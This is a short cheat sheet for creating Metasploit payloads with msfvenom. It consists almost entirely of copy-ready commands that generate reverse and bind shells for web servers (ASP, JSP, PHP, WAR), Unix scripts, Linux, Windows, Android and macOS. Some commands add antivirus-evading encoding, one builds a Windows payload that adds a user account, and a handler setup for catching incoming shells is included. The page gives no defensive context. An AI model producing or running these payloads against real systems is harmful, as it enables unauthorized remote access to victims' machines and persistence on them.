Creating Metasploit Payloads using Msfvenom

How to create payloads with Msfvenom


Msfvenom is the combination of payload generation and encoding. It replaced msfpayload and msfencode on June 8th 2015. You can create multiple payloads with this module, it will help you to get a shell in almost any scenario.

Note: Meterpreter based payloads need the use of the exploit/multi/handler module to get the shell within the msfconsole.

Start multi handler:

[email protected]:~# msfconsole
msf> use exploit/multi/handler
msf> set PAYLOAD <Payload name>
msf> set LHOST <LHOST value>
msf> set LPORT <LPORT value>
msf> exploit

List available payloads:

msfvenom -l payloads

List payload options:

msfvenom -p PAYLOAD --list-options

Web Payloads:

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=1234 -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=443 -f raw > shell.jsp
msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT=443 -f raw > shell.php
msfvenom -a x86 --platform windows -p php/meterpreter_reverse_tcp LHOST= LPORT=443 -e x86/shikata_ga_nai -f raw > shell.php
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=443 -f war > shell.war

Scripting Payloads:

msfvenom -p cmd/unix/reverse_python LHOST= LPORT=443 -f raw >
msfvenom -p cmd/unix/reverse_bash LHOST= LPORT=443 -f raw >
msfvenom -p cmd/unix/reverse_perl LHOST= LPORT=443 -f raw >

Linux Payloads:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=port -f elf > shell.elf
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=IP LPORT=port -f elf > shell.elf
msfvenom -p generic/shell_bind_tcp RHOST=IP LPORT=port -f elf > shell.elf 
msfvenom -p generic/shell_reverse_tcp LHOST=IP LPORT=port -f elf > shell.elf
msfvenom -p linux/x86/shell/reverse_tcp LHOST=IP LPORT=port -f elf > shell.elf
msfvenom -p linux/x86/shell/bind_tcp RHOST=IP LPORT=port -f elf > shell.elf

Windows Payloads:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=port -f exe > reverse.exe
msfvenom -p windows/meterpreter/bind_tcp RHOST=IP LPORT=port -f exe > bind.exe
msfvenom -p windows/adduser USER=evil [email protected] -f exe > adduser.exe
msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=port -f exe > prompt.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=port -e shikata_ga_nai -i 3 -f exe > encoded.exe


msfvenom -p android/meterpreter/reverse/tcp LHOST=IP LPORT=PORT R > example.apk


msfvenom -p osx/x86/shell_reverse_tcp LHOST=IP LPORT=PORT -f macho > shell.macho

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